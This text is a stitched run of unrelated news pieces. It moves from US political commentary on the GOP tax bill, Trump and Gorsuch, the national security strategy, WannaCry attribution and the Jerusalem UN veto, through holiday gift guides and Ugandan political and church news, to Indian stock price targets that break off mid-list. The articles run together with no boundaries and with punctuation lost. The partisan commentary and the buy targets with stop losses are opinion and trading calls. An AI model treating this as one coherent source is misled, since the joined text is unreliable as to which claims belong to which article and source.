Shortly after this announcement, the International Business Times threw a spotlight on how Corker stood to benefit from the bill, and #CorkerKickback started trending on Twitter. Liberals lamented this act of overt corruption. Democratic senator Chris Van Hollen implored his Republican colleagues to do the right thing and remove the provision. Corker, for his part, claimed ignorance of the measure  and demanded to know how a giant giveaway to wealthy investors like himself had ever made into a bill full of giant giveaways to wealthy investors like himself.

The provision unearthed by IBT is indefensible as a policy matter. And it certainly made the Tennessee senators flip-flop look unseemly. But there is, nonetheless, a farcical aspect to the outrage that the Corker Kickback has generated.

The IBT story uncovered circumstantial evidence that Corker traded his vote for a tax provision that benefits him personally. This was treated as a scandal. And yet, just two weeks ago, Wisconsin senator Ron Johnson said  publicly and repeatedly  that he would vote against the Senate bill unless it provided a larger tax break to pass-through businesses, like the one that his family owns. Mitch McConnell relented, Johnson collected his ransom, and the whole incident was covered as a legitimate policy dispute.

There is no way to argue that Corkers alleged kickback is corrupt, while Johnsons loud lobbying for his own tax break was kosher  without giving undue credence to Republicans rhetoric about their bill.

Before the Corker kickback, the GOP bill provided a 20 percent deduction to owners of pass-through businesses (closely held firms that dont pay corporate taxes). But the legislation barred high-income pass-throughs that have few employees from taking full advantage of this break. The rationale here was simple: The (ostensible) point of slashing taxes on wealthy business owners was to increase hiring and middle-class wages  and since the owners of capital-intensive businesses with few labor needs are unlikely to increase either, they shouldnt get as large a tax cut.

The last-minute provision flagged by IBT violates this principle. The measure would extend the pass-through deduction to real-estate investment firms (like those owned by Corker and the Trump family), even if they dont employ very many people. Viewed in this light, the Corker kickback appears uniquely scandalous because, unlike Johnsons ransom, it enriches GOP lawmakers without serving a coherent public policy goal.

But this appearance is deceiving. In truth, there is no coherent policy argument for slashing taxes on pass-throughs of any kind  a fact that even the Republican Partys favorite economists will concede.

Right now, American companies that are registered as corporations must pay the corporate tax rate. This means that the owners of such companies have their business earnings taxed twice  first, as corporate profits, and then as personal income. Meanwhile, pass-through companies are allowed to distribute earnings to their owners without paying the corporate rate (in other words, their profits pass through to the owners individual returns). Thus, their earnings are taxed only once, as individual income.

The ostensible point of this policy is to make life a bit easier for small mom-and-pop businesses. But a companys eligibility for pass-through status isnt determined by size. Koch Industries, the Trump Organization, and most hedge funds are all structured as pass-through entities. The very existence of these giant pass-throughs is, essentially, an enormous loophole in our tax code. And yet, the small-business lobby  and a bunch of powerful Republican politicians who own pass-throughs  promoted the idea that it would be unfair to lower the corporate rate without also reducing their tax liabilities. Which is to say: Ron Johnson took the Senate bill hostage on the grounds that it was fundamentally unfair to reduce the competitive advantage that his business enjoyed over rival firms that chose not to avoid corporate taxes.

The Corker kickback is a small piece of the tax bill; the broader pass-through deduction is a pillar of it. The former will enrich several Republican lawmakers; the latter, a wide swath of the GOP caucus. We have only circumstantial evidence that Corker traded his vote for the real-estate investment provision, and that evidence is weak. The kickback measure didnt come out of nowhere  the House bill included a similar provision on the taxation of real-estate investment firms. Utah senator Orrin Hatch says that he added the provision to the bill himself, with no input from Corker, who had no (official) role in drafting the final legislation.

Johnson, by contrast, lobbied for his ransom on the Senate floor.

All of which is to say: We dont need to rely on tendentious, connect-the-dot theories to establish that the GOP tax bill is the product of corruption. Republicans have essentially conceded this fact. Polls consistently find that a large majority of the American public disapproves of the GOP tax bill  while most Republican voters oppose the deficit-financed corporate tax cuts that are the very heart of the legislation. Meanwhile, virtually every credentialed economist  including some of the GOPs own high priests of supply-side voodoo  find the plan indefensible. When lawmakers craft regressive legislation reviled by the public and experts alike, it stands to reason that their work is being corrupted by special interests.

But theres no need for such reasoned speculation: Last month, Senator Lindsey Graham said that his party needed to pass its tax cut bill because otherwise, the financial contributions will stop. Meanwhile, Congressman Chris Collins implored his colleagues to push the legislation through because, my donors are basically saying, Get it done or dont ever call me again.

In this context, treating the Corker kickback as proof of the Republican Partys corruption is a bit like treating circumstantial evidence that the Hamburglar filled his water cup with fountain soda as proof that he steals from McDonalds.

None of this is to say that IBT didnt do important work in spotlighting the provision. As a microcosm for the GOP bill as a whole, you cant do much better than a tax cut that was explicitly targeted at the owners of business that dont create many jobs; has no economic justification; directly enriches GOP lawmakers and the president; and was quietly slipped into a 500-page bill without any public debate over its wisdom. The Corker Kickback is a monstrosity, even if it wasnt actually designed as kickback to Bob Corker.

As for Corker himself, the fact that he (probably) isnt personally responsible for corrupting the GOP bill is hardly exonerating. The senator has still given no credible explanation for his flip-flop. To rebut the notion that he was swayed by a bribe, Corker has insisted that he didnt even know what was in the final legislation when he decided to vote for it. I had like a two-page summary I went through with leadership, Corker told reporters. I never saw the actual text.

In other words, Corker didnt trade his integrity for a tax break  but rather, for nothing at all.
Neil Gorsuch and Donald Trump. Photo: Alex Wong/Getty Images

The media loves to highlight all the outrageous things President Trump does, but they focus so little on the crazy things he didnt do.

For instance, no one gave Trump credit for opting not to withdraw his Supreme Court picks nomination after the judge mildly criticized his attacks on the judiciary. Had Trump followed his impulses, that easily could have become one of the wildest and most self-defeating moments of his young administration.

On Monday night the Washington Post shed light on Trumps incredible self-restraint, revealing that he talked about rescinding Neil Gorsuchs nomination because he was angry that the judge privately told senators that he found the presidents bashing of federal judges disheartening and demoralizing. Per the Post:

The president worried that Gorsuch would not be loyal, one of the people said, and told aides that he was tempted to pull Gorsuchs nomination  and that he knew plenty of other judges who would want the job.

It is unclear whether Trumps explosion, as another administration official described it, truly put Gorsuchs nomination in jeopardy or whether the president was expressing his frustration aloud, as he often does. But at the time, some in the White House and on Capitol Hill feared that Gorsuchs confirmation  which had been shaping up to be one of the clearest triumphs of Trumps tumultuous young presidency  was on the verge of going awry.

White House spokesperson Raj Shah and legislative affairs director Marc Short denied that Trump ever considered abandoning Gorsuch. But if true, the report further bolsters former FBI director James Comeys claim that Trump summoned him to the White House and repeatedly said he needed his loyalty. And in some ways, its more troubling.

First, it speaks to Trumps deep misunderstanding of how the U.S. system operates. House Speaker Paul Ryan, echoing other Republicans, has downplayed Trumps apparent disrespect for the independence of federal law enforcement by saying: The presidents new at this. Hes new to government, and so he probably wasnt steeped in the long-running protocols that establish the relationships between [the Justice Department], FBI, and White House. Hes just new to this.

While thats not a good excuse for a president, it is confusing that the FBI is part of the Executive branch, yet operates independently of the White House. On the other hand, the idea that we have three branches of government and Supreme Court justices dont work for the president is something they go over in grade school.

Trumps repeated attacks on federal judges who dont rule in his favor suggest that if he did know this at some point, he doesnt care. But talk of rescinding Gorsuchs nomination is unhinged even if we only consider how it would have affected Trump personally.

At the time, it was fairly obvious that Gorsuch made the remark to prevent his nomination from being derailed by the uproar over Trump lashing out at the federal judiciary. The president had just tweeted that a so-called judge put the nation in such peril, by blocking his travel ban targeting majority-Muslim countries, adding, if something happens blame him and court system. Days later Democratic Senator Richard Blumenthal said Gorsuch privately told him he found the comments disheartening and demoralizing.

Ron Bonjean, who helped guide Gorsuch through the confirmation process at the request of the White House, verified that those were the judges words. That should have been enough of a clue that this was all part of a political strategy, and according to the Post, advisers told Trump that Gorsuch needed to demonstrate his independence from the president to secure enough votes in the Senate.

Yet, Trump was still incensed. On Twitter he accused Blumenthal (and thus Bonjean) of lying about what Gorsuch said, and attacked the senator for misrepresenting his Vietnam service years ago. The Post reports that he privately complained about Gorsuch in a meeting with Paul Ryan and Senate Majority Leader Mitch McConnell. Hes probably going to end up being a liberal like the rest of them, Trump said, according to a source. You never know with these guys.

This reportedly alarmed McConnell  who had brazenly ignored President Obamas nomination of Merrick Garland to hold the seat for a conservative  and he repeatedly told Trump he needed to stick with Gorsuch. While Trump had top Justice Department officials come up with somewhat plausible reasons for firing Comey (before admitting it was about the Russia probe), its hard to imagine how he could have spun withdrawing Gorsuchs nomination as anything other than irrational retaliation  or convinced GOP leaders to go along with it

McConnell made good on his promise to ensure the rest of the process went smoothly, and the Senate confirmed Gorsuch by a vote of 54-45 on April 7. While Trump is now poised to sign a major tax overhaul that kills Obamacares individual mandate, for months the appointment of a jurist in the mold of Antonin Scalia was one of his administrations only major accomplishments. Would McConnell and Ryan  or even average Trump supporters  have supported Trump through the scandal over Comeys firing if it came a month after he flippantly withdrew the nomination of the conservative justice they were promised?

Well never know  possibly because, unlike Comey, Gorsuch was willing to tell Trump what he wanted to hear. According to the Post, Trumps concerns about Gorsuchs insufficient gratitude were eased when he received a fawning thank you note from the judge in early March. The paper published some quotes from the handwritten letter:

Your address to Congress was magnificent, Gorsuch wrote. And you were so kind to recognize Mrs. Scalia, remember the justice [Scalia], and mention me. My teenage daughters were cheering the TV!



The team you have assembled to assist me in the Senate is remarkable and inspiring, he wrote. I see daily their love of country and our Constitution, and know it is a tribute to you and your leadership for policy is always about personnel.

He concluded, Congratulations again on such a great start.

So far Gorsuch has been everything Republicans could have hoped for, but with Trump facing multiple legal challenges, it seems that someday well see a real test of his supposed loyalty to the president.
In short, the plan is to make America great again. Photo: Bloomberg/Bloomberg via Getty Images

On Monday, President Donald Trump laid out a national security strategy for a world in which all Republican shibboleths are true: The U.S. economy is fueled by tax cuts for the wealthy, drilling in the Arctic will solve our energy problems forever, and building a 2,000-mile wall is a cost-effective and worthwhile solution to the problem of bad people entering the country. If you believe all this, you likely thought Mondays speech was pretty good.

It also listed some grandiose firsts that Trump had no business claiming credit for, like for the first time, American strategy recognizes that economic security is national security, and for the first time ever, American strategy now includes a serious plan to defend our homeland. Again, this makes sense if you believe any plan to defend our homeland that does not include a massive border wall and an inhumane approach to immigration enforcement is fundamentally unserious. Trump also asserted that his Afghanistan strategy (refusing to communicate a plan and letting the generals handle it) is working, even though ISIS is now carrying out more terrorist activity in Afghanistan and Pakistan, after its much-touted defeats in Iraq and Syria.

Indeed, much of this strategy is merely a rehash of Trumps core campaign promises: Get tough on immigration, crack down on Islamism, close the border. In Trumps rhetoric, the failure of past administrations to do these supposedly simple things is the cause of most of our present ills, whereas Trumps having the courage to finally do them will make us safe and prosperous  great again, as it were. And the only reason everything isnt perfect yet is that his predecessors were so catastrophically wrong about everything that its taking a little time. That was the essence of Mondays message.

Perhaps thats why, like so many of Trumps appearances, this felt at times more like a campaign speech than a policy address. There was more about the vision than there was about how were going to get there. The biggest national security challenges of the day  North Korea, Iran, Russia, China  merited only brief mentions. His invocation of unfair trade practices and intellectual property theft sounded like an oblique reference to China, but it was not clear what his actual policy response to those practices would be.

Resurrecting the Reaganesque motto peace through strength, Trump proposed a total modernization of the armed forces, and massively building up our military, which has the fundamental side benefit of creating millions and millions of jobs, while also streamlining acquisition and eliminating bloated bureaucracy, as though eliminating red tape could generate the trillions of dollars needed to achieve a massive buildup of the already massive U.S. military. Meanwhile, Trump seems to be calling for a kind of military expansion-as-stimulus/make-work program, the wisdom and effectiveness of which are debatable at best, especially compared to other forms of economic stimulus.

Thats all on top of the $1 trillion dollars Trump is proposing to spend on the complete rebuilding of American infrastructure that he called for on Monday  which admittedly, we could use, but not in the corrupt, privatized way his administration intends to go about it. Where on earth is Trump going to get the money for these things? (By robbing Social Security and Medicare! cries Paul Ryan from the wings.)

The strategy document itself, of course, gets into more detail, painting what foreign policy analyst Daniel DePetris describes at the American Conservative as almost Hobbesian  a picture of a world in black-and-white, a sometimes harsh and unforgiving place where nations compete with one another for a bigger piece of the global pie. Here is a recurring theme for Trump: The word compete or competition appears four times in the speech (73 times in the strategy); China, just once (23 times in the strategy). Yet again, Trump and his administration belie a strikingly zero-sum worldview, in which all deals have winners and losers, and everyone is looking out to screw over the other guy.

To some extent, theyre not wrong. The strategy characterizes China and Russia as revisionist powers seeking not to participate in the global order established by the neoliberal consensus after the Cold War but rather to undermine it for their own nationalist or ideological ends. This is a dark but not inaccurate description of these countries and their behavior. The strategy acknowledges that actors such as Russia are using information tools in an attempt to undermine the legitimacy of democracies, but glides over the fact that one of these democracies is our own. At least in its diagnosis of the worlds ills today, the strategy is not as bonkers as it might be.

The trouble is in its solutions. Part of the administrations approach to the world as the White House sees it is to negotiate with our rivals, but only from a position of overwhelming military superiority. Its military strategy is rooted in overmatch  i.e., overkill: We must convince adversaries that we can and will defeat them  not just punish them if they attack the United States. This is the solution to terrorism  but were we not overmatched against Al Qaeda in Afghanistan in 2001?  as well as to getting our adversaries to behave as wed like. Also, as anyone who bought an F-35 knows, sometimes pouring hundreds of billions of dollars into a military expense is a bridge to nowhere.

Over and over again, the picture emerges of a strategy that makes perfect sense in a world of right-wing assumptions: Russia and China only respond to demonstrations of strength, international terrorism requires an overwhelming military response abroad and a curtailing of civil liberties at home, immigration is bad, etc.

On issues of supposedly existential importance, such as North Korea, theres not much new. At least for now, the strategy does not entertain anything more muscular than bulking up missile defenses in East Asia and remaining ready to respond with overwhelming force to any military provocation. Iran is subject to extensive abuse, with the strategy referring repeatedly to its support for terrorist groups in the Middle East, but little detail is given on how the administration intends to respond to it, beyond, We will work with partners to neutralize Irans malign activities in the region.

Coming from this administration, that kind of bland, boilerplate language is almost reassuring  except of course, that we dont know exactly what working with partners means, especially when things dont go according to plan. DePetriss conclusion is that we should expect the strategy to remain relevant up to and until an actual crisis strikes. That sounds about right.
A/S/L? Photo: STR/AFP/Getty Images

The United States said that it had proof that North Korea was behind the WannaCry ransomware attack, which hobbled computer systems worldwide for several days in May.

In an op-ed published in The Wall Street Journal Monday evening, Homeland Security official Tom Bossert wrote that we do not make this allegation lightly, and we are not alone with our findings, either. He also included a bit of saber-rattling: North Korea continues to threaten America, Europe and the rest of the worldand not just with its nuclear aspirations. It is increasingly using cyberattacks to fund its reckless behavior and cause disruption across the world.

At a press conference Tuesday morning, Bossert said the attacks put lives at risk, not just money.

The attack targeted computers that used the Microsoft Windows XP operating system, encrypting data and demanding payments in bitcoin. Roughly 230,000 computers were hit, and several large systems were badly compromised, most prominently the National Health Service in the U.K.

The National Security Agency and British government have both expressed their beliefs that North Korea was behind the attack. The rogue nation, which has developed increasingly sophisticated electronic weapons, has demonstrated its cyberprowess on the world stage before: It hacked Sony Pictures in 2014, leading to sanctions from the Obama administration.

But some Democrats wondered why the Trump administration was so eager to aggressively confront North Korea when it has shown no such enthusiasm in challenging Russia, which several intelligence agencies have concluded hacked sensitive materials to help swing the 2016 election.

President Trump is handling the intelligence assessments regarding North Korea and Russia completely differently, staging an elaborate media roll-out to press on sanctions against North Korea while at the same time discrediting the assessment by these very same intelligence agencies that the Kremlin interfered with our election, Congressman Elijah E. Cummings, a Democrat from Maryland, told the Washington Post.
Alone. Photo: Drew Angerer

In his big national-security speech today, the president proclaimed a national-security strategy that would make America No. 1:

America will lead again. We do not seek to impose our way of life on anyone, but we will champion the values without apology. We want strong alliances and partnerships based on cooperation and reciprocity. We will make new partnerships with those who share our goals, and make common interests into a common cause. We will not allow inflexible ideology to become an obstacle to peace.

The same day, Trumps commitment to an inflexible ideological principle that only one other country shares led to a rebuke to the United States at the U.N. Security Council:

The diplomatic fight flared after 14 of the 15 members of the UN Security Council approved a measure expressing deep regret at recent decisions concerning the status of Jerusalem, a clear nod to the Trump administration.

The US immediately vetoed the resolution, but the overwhelming margin of the initial vote highlighted the administrations growing isolation over Jerusalem. The measure was drafted by Egypt, one of the Trump administrations closest allies in the Arab world, and drew support from Britain, France, and other nations with longstanding and warm ties to Washington.

U.S. Ambassador to the U.N. Nikki Haley, who issued the veto, tried rather disingenuously to make this out as a building-location decision:

Today for the simple act of deciding where to put our embassy, the United States was forced to defend its sovereignty. The record will reflect that we did so proudly, Haley said after the vote.

Treating the ultimate status of Jerusalem as a subject that the U.S. and Israel can dispose of without international assent is not going over well. Perhaps the best (if most subtly worded) rebuke to the Trump/Haley perspective came from Pope Francis the week the president announced the new policy:

The Holy Land is for us Christians the land par excellence of dialogue between God and mankind, the pope said. The primary condition of that dialogue is reciprocal respect and a commitment to strengthening that respect, for the sake of recognizing the rights of all people, wherever they happen to be.

Its seeming stranger and stranger every day that Trump believes he and he alone can bring peace to the Middle East when so many leaders  Americans and others  have failed. He and his son-in-law (and regional emissary) Jared Kushner keep intimating that the White House has a secret plan that will turn everything around. It is true the administration has united the world on one key issue dividing Israel and the Palestinians. But its united against Trump.
If youve been putting off holiday shopping, weve got nine last-minute gifts for a gadget-obsessed person in your life. All of these will ship within two days and arrive by the 25th if you order by December 20th (or, in the case of Amazon purchases, the 23rd  if you opt for two-day shipping).

Fujifilm Instax Mini 9

An update to the old-school Polaroid, the Fujifilm Instax has surged in popularity this year, thanks the analog charm of printing out your photos. For $59, its a good buy for anyone in your life who spends a ton of time on Instagram.

Portable Victrola Suitcase Record Player

A real charmer, this suitcase turntable doubles as a Bluetooth speaker. For $40 shipped, its also a good gift that wont break the bank.

Roku Streaming Stick+

Still my go-to recommendation for anyone who wants to stream video to their TV, this Roku Streaming Stick+ can handle 4K and HDR (so its nice for anyone who recently upgraded their TV set), and comes with a free month of Showtime and DirectTV Now.

Vizio Soundbar

A sad but true fact: Most modern TVs sound really bad. Flat screens mean there just isnt enough room for decent speakers. Soundbars are an easy solution, and this one from Vizio is well reviewed  and well priced at $80.

Amazon Echo

The second-generation Echo has better sound and a better look, but is still the same great Alexa AI assistant for the home.

Bose SoundSport Wireless Earbuds

Still the best workout headphones out there, the Bose SoundSports are good for the gym, or just for on-the-go listening.

Amazon Fire HD 8 Tablet

A tidy and solid tablet, this is just $50 through the holidays. Its a great gift for anyone who just needs something to read and watch stuff. The Kids Edition is also a nice pick-up, thanks to Amazons robust parental controls.

Nintendo Switch

A console gamers dream, and a perfect commute companion, the Nintendo Switch is white-hot this year. Its still in stock and shipping for two-day delivery from Walmart.

Samsung 4K HDR Smart TV

Samsungs MU6300 TV is a great upgrade for anyone who hasnt jumped into 4K and HDR yet. Both the 55-inch and 50-inch models are generously priced through the holiday season.

Heads-up: If you buy stuff through our links, New York may earn a commission. That said, we dont recommend anything we wouldnt buy for ourselves.
For the second-tier giftees in your life. Photo-Illustration: Courtesy of the retailers.

Youve made it most of the way through this years Christmas list: gift for mom, check; gift for dad, check; and something for your significant other, double-check. Now all thats left is shopping for those who might not quite be at the top of your mind  like your stepbrother, cousin, or third cousin once removed. But dont worry, we rounded up the best last-minute gifts for the people you almost forgot about that you can buy right now on Amazon and that will still arrive in time for Christmas. Dont miss all of the Strategists holiday gift coverage right here  and if you need a really last minute gift, consider an e-gift card.

For your cousin who got into baking during quarantine

For your nephew whos really into puzzles

For your sister-in-law whos studying design

For your roommate whos going to lots of Zoom holiday parties

For your brother-in-law with a new job

For your teenage brother whose phone is always at 2% battery

For your little cousin whos starting to draw

For your vegan brother who loves making stir-fry

For your sister with a small dog

For your step-brother whos obsessed with his sourdough starter

For your new boyfriend or girlfriends mother

For the teenager in your life whos into crafting

For your mother-in-law who says she doesnt want anything

For your relatives who love a cup of tea

For your bald or balding father-in-law

For your office secret santa

BAGGU Standard Reusable Shopping Bag $12 $12 Even if you dont know too much about the colleague in question, everyone could use an extra washable bag to schlep home their stuff  this ones a fun print for running errands with and would fall under most Secret Santa price limits. $12 at Amazon Buy $12 at Amazon Buy

For your cousin who loves NYC merch

For your meat-loving brother

For your minamlist aunt or uncle

For your 1-year-old niece or nephew

For your Uber-athletic older sibling

For your BFF who listens to podcasts while they clean

For your 3-year-old niece or nephew

For your brother or sisters hip girlfriend

For your sneaker-head cousin

For your college-age cousin whos on top of every trend

For your outdoorsy uncle

For your fancy sister-in-law who cant poach an egg yet

For your boyfriend or girlfriends nerdy niece

For your adventure-loving step-dad

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The Strategist is designed to surface the most useful, expert recommendations for things to buy across the vast e-commerce landscape. Some of our latest conquests include the best gifts for mom, gifts for dad, baby-shower gifts, gifts for your boss, bar mitzvah gifts, and things on sale. We update links when possible, but note that deals can expire and all prices are subject to change.

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All was set for the election of the East African Legislative Assembly (EALA) speaker at the resumption of the regional parliament's sittings in Arusha, Tanzania, but the process could not go on after a walk-out by Tanzania and Burundi.

Both countries presented candidates for speakership, but it's Rwanda's Martin Ngoga who appeared to have overwhelming support. Ngoga's nomination was seconded by nearly all members from Rwanda, Uganda, Kenya and new entrant, South Sudan, while Burundi's Leontina Nzeyimana and Tanzania's Adam Kisimbi were seconded by their respective members.

The Burundians and Tanzanians walked out leading to the cancellation of the proceedings. The EALA clerk, Kenneth Madete adjourned the session for 15 minutes but even on resumption, the two member states did not return.

Burundi's Leontina Nzeyimana (L) is vying for EALA speakership

The rules require the presence of at least three representatives from each of the member states. Madete adjourned the session again but still, that was not enough to get the Tanzanians and Burundians from the corridors into the chamber.

Burundi wants the assembly to consider the alphabetical order of the countries' names to hand them the speakership while Tanzania says at the time it held the speakership, the community had only three member states.

These arguments were rejected by other delegates, the most outspoken being Uganda's Fred Mukasa Mbidde, Susan Nakawuki, George Odong and Mathias Kasamba.

In the corridors, meanwhile, rumours of bribery went around claiming that a minister from one of the two boycotting member states was bribing the members.

Julius Maganda, Uganda's state minister for EAC affairs, told The Observer that one of the EALA members had confessed to him having received money from the said minister. After the suspension of the day's business, Ugandan and Rwandan delegates were forced into meetings to plot for Tuesday.

Maganda told The Observer that they called in legal experts to interpret the EAC treaty and the EALA rules of procedure to enable the election of the speaker to proceed even in the absence of Burundi and Tanzania.

sadabkk@observer.ug
Five priests in Ruwenzori diocese have been defrocked over alleged immoral behaviour.

The five priests; Rev. Joel Manyindo who was parish priest Rwimi All Saints Church, Rev. Jonathan Kyangasha, the chaplain Canon Apollo Teachers' College, Rev. Felix Batalingaya formerly of St. Andrews Church of Uganda Rwengoma, Rev. Paul Kinyerere and Deacon Abel Arinaitwe who was on pastoral work at Bunyonyi Church of Uganda parish in Kijura were defrocked following a diocesan tribunal meeting two weeks ago.

Addressing the media at the Ruwenzori diocesan headquarters in Fort Portal, Bishop Reuben Kisembo Amooti said the diocesan tribunal analysed the behaviour of the five priests and overwhelmingly agreed that that the priests be defrocked.

Bishop Reuben Kisembo

He explained that the defrocked priests are not allowed to perform and preside over any pastoral work on behalf of Church of Uganda or Ruwenzori diocese. Kisembo also ordered the priests to return the ordination certificates they received at their ordination day with immediate effect.



Rev. Steven Kalyebara, the Ruwenzori diocesan secretary declined to disclose the alleged immoral behaviour that led to the priests being defrocked citing fears that the priests might be embarrassed within the community.

However, a source at the diocesan headquarters that preferred anonymity told URN that some of the priests embezzled funds while others were involved in sexual scandals.



Kalyebara says the decision that was taken by the diocesan tribunal is aimed at sending a strong message to other priests.



Ecclesiastical discipline as outlined under Canon 3:26 of the Canons of the Church of Uganda lists grounds that may be brought against a bishop, priest or deacon of a province.

They include any offence which has led to conclusive conviction in a courts of law in Uganda and is considered serious by the archbishop or the diocesan bishop, as the case may be.



Others are conduct giving just cause for scandal or offence; heresy or false doctrine; schisms; apostasy from the Christian faith; wilful violation of the constitution and regulations of the province or diocese; disobedience, that is to say, wilful contravention of lawful orders, rules, regulations, either of the provincial assembly or the diocesan synod of the diocese in which he/she holds office or, in matters of faith and order, of the House of Bishops and neglect of the duties of his office.



Canon 3:28 empowers diocesan tribunals to try priests and deacons where cases arise concerning ecclesiastical discipline.
Tension, tempers, drama, insults and disorder dominated Tuesday's plenary session as an unprecedented number of legislators debated the controversial 'presidential age limit' Bill.



The Bill presented to parliament by Igara West MP Raphael Magyezi seeks to among others amend Article 102(b) that caps the presidential age limit between 35 and 75 years.



From morning to evening, the House was still full to capacity with no MP showing impatience to move out of the chambers to attend to other work like it has been the case in the past.



By 6:30pm, the opposition side was still coloured red and the government side also remained fully packed with the cabinet bench unusually filled to capacity. The attendance board in the chambers by this time displayed that out of the 451 MPs, 391 MPs had signed in while 379 MPs were present.



Parliament will require 290 MPs voting in support of the proposed amendment by roll call and tally at both second and third reading of the Bill for it to pass.

The situation in the House was tense as MPs debated the age limit Bill With not much business handled in the morning session after issues of invasion of places of worship were raised, the afternoon sitting started debating the Bill with one MP after the other presenting the views of their voters on the Bill. With not much business handled in the morning session after issues of invasion of places of worship were raised, the afternoon sitting started debating the Bill with one MP after the other presenting the views of their voters on the Bill.

Speaker of Parliament Rebecca Kadaga allocated each MP four minutes to debate. Some MPs were booed by colleagues because of not being in agreement with their views while others received hugs, thumbs up and applauds for their submissions.

MPs sitting on the government side continuously stood up shouting every time their colleague stood to support the amendment and this was the same for the opposition side.



WHAT MPs SAY



Reagan Okumu (Aswa County)



Okumu said that the debate was to define the future of Uganda warning that they could not amend a constitutional provision without testing it or specifically for an individual.



Okumu in a bitter tone told parliament that the people of the north were ready to secede from Uganda - threatening that there is no way they are going to allow to be sat on by the majority.



"I want to assure you, we shall secede from this country. We have the resources to get our own economy. Let us not just argue that we have the numbers, we have a responsibility as leaders. Politics and democracy is about consensus and not the majority otherwise the nation is to break," said Okumu.



Musa Ecweru (Amuria County)



Contrary to the views of Okumu with whom they come from the northern region, Ecweru attacked Okumu that he should not use parliament as a platform for intimidation and that Uganda was to remain together.



"The question of secession is in the mind of the person who said it. He is in dreamland because Uganda will remain one, this country will never break up and it will stand together, nobody can come and intimidate us," Ecweru asserted as he received applause from the government side.



With these statements, Okumu walked back on the floor pointing rudely at Ecweru and requesting Speaker Kadaga to allow him respond to Ecweru but Kadaga said the member should be left to speak out.



Ecweru then said that he was given authority by his voters to support the amendment of Article 102(b) since in Amuria, age is synonymous to wisdom.



Sam Lyomoki (Workers)



Away from this bitter exchange, the mood in the House further shifted as Workers' MP Sam Lyomoki took to the floor and prayed that Members of Parliament get wisdom to make history by rejecting the removal of the presidential age limits.

Sam Lyomoki praying to God to grant MPs wisdom While he prayed, the state minister for Lands Persis Namuganza moved to dramatically stop him only for Lwemiyaga County MP Theodore Ssekikubo to stop her as he stood in guard of Lyomoki to protect him so he could carry on with the prayer.



Lyomoki's praying was unfortunately cut off after the 4 minutes he had been allocated elapsed.



Asamo Hellen (Eastern region PWDs) While he prayed, the state minister for Lands Persis Namuganza moved to dramatically stop him only for Lwemiyaga County MP Theodore Ssekikubo to stop her as he stood in guard of Lyomoki to protect him so he could carry on with the prayer.Lyomoki's praying was unfortunately cut off after the 4 minutes he had been allocated elapsed.



The representative of the People with Disabilities (PWDs) told parliament that she carried out 5 consultations in the eastern region and that her voters told her to support the amendment of Article 102(b).



"The power to vote lies with the people of Uganda. It is the people to vote out the president or vote them in. President Museveni did not bring himself on that seat, it is the people that brought him," said Asamo.

"Persons with disabilities support the removal of presidential age limit and the entire age limit bill. PWDs are tired of being called for elections all the time; a 7 year term for will save us", she said.

Bright Rwamirama (Isingiro)



Rwamirama told parliament that he supported the amendment of Article 102(b) since it was to cure inconsistencies in the Constitution.



He noted that Article 1 of the Constitution gives powers to the people on deciding who to govern them and how. He however says that Article 102 (b) departs from this provision by giving with one hand and take away with another hand.



"The people of Isingiro empowered me to speak on their behalf that we support the amendment. I also oppose the reinstatement of term limits and allow people to decide," said Rwamirama.



Lilly Adong (Nwoya Woman)



The Nwoya Woman MP also took to the floor to tell parliament that her voters sent her with strict instructions that Article 102(b) should not be touched.



"We love President Museveni, but we should let him go, let him rest. Magyezi said that the Article is discriminatory but all other qualifications set for presidency are also discriminatory," said Adong.

Robert Kyagulanyi Ssentamu (Kyadondo East)



The musician turned politician told parliament that he had a rare opportunity of traversing the country and that Ugandans are saying the Constitution should not be amended because they want to avoid a life president.



"I stand in defence of the minority report which in my opinion carries the views of Ugandans and therefore the majority report. We are mandated to enact laws for peace, development and good governance of Uganda. We have the opportunity to make or break our country," said Kyagulanyi.
With 2017 coming to an end, the markets are searching for cues to scale new highs in 2018. While the Sensex gained 26 percent or 7,064 points, Nifty rose 27.25 percent or 2,231 points on an year-to-date basis. Analysts and brokerages have set new stock price targets for the coming year. We look at some of them.

Sun Pharma



Entry Level: Around 510-490



Aditya Agarwal, Head Technical Research,

Since last 2 years, Sun Pharma has been under tremendous pressure and has corrected by forming Lower Top Lower Bottom formation. In that pessimism, stock hit a fresh 52-weeks low of around 430 during August 14, 2017.

However, the last fall from 588 (July 20, 2017) to 430 (August 14, 2017) failed to get confirmed by the daily RSI (14) momentum indicator which signaled 'Bullish Divergence' pattern.

The impact of 'Bullish Divergence' was seen as stock witnessed decent pullback towards 572. However, once again, the stock resumed its down trend but this time it managed to found support near 50% retracement of its entire move from the bottom of 430 to 572.

On a daily chart, for the second consecutive time the RSI (14) managed to hold 40 levels and rallying higher indicates the probable shift in a range.

Looking at the weekly chart of Nifty Pharma Index, we are seeing a probable range shift and Sun Pharma holds 27.44% weight in this index.

On a daily chart, we are seeing 'Positive Reversal' post the formation of 'Bullish Divergence'.

Combining the above technical evidences, we expect this stock to outperform and advocate positional traders to buy this stock for 6-8 months perspective with an upside price target of 700 and stop loss placed below 425.



TATA MOTOR DVR



Entry Level: Around 220/200



Aditya Agarwal, Head Technical Research,

Tata Motor DVR saw sharp rally from the bottom of around 117 (candle low of August, 2013) and hit a fresh all-time high of around 387 (candle high of September, 2014). Subsequently, the bullish momentum turned and stock witnessed profit booking which eventually pulled the stock lower. However, the fall got arrested near 200 levels which coincided with 61.8% retracement of its entire move from the bottom of 117 to 387.

Once again, the stock resumed its uptrend and rallied higher however it failed to crossed its previous all-time high which triggered fresh sell-off.

At this juncture, stock has formed a Rectangle formation on monthly chart and currently price is oscillating near the lower band of the pattern.

The September month candle formed a Long Legged Doji pattern indicating indecision, also the monthly RSI (14) came near 40 levels.

The Higher Top Higher Bottom formation on monthly chart is intact hence we expect the recent level is a good entry point to build long position with a price target of 350. Stop loss should be placed at 160 below which our bullish view will be negated.

InterGlobe Aviation

Target Price : 1,426

Geojit

InterGlobe Aviation Ltd (Indigo) is one of the most efficient low cost carriers (LCC) with a market share of 40% in Indian aviation sector. Indigo passenger traffic grew by robust 31% compounded annual growth rate (CAGR) versus industry growth of 15% CAGR, over FY14-FY17. Expanding market presence through robust fleet addition and firming up its regional connectivity plans augurs well. We factor revenue and earnings to grow at 25% and 29% CAGR over FY17-FY19E. We are positive on Indigo given increasing air travel penetration, market leadership position, and strong balance sheet.

NBCC



Target Price : 283

Geojit

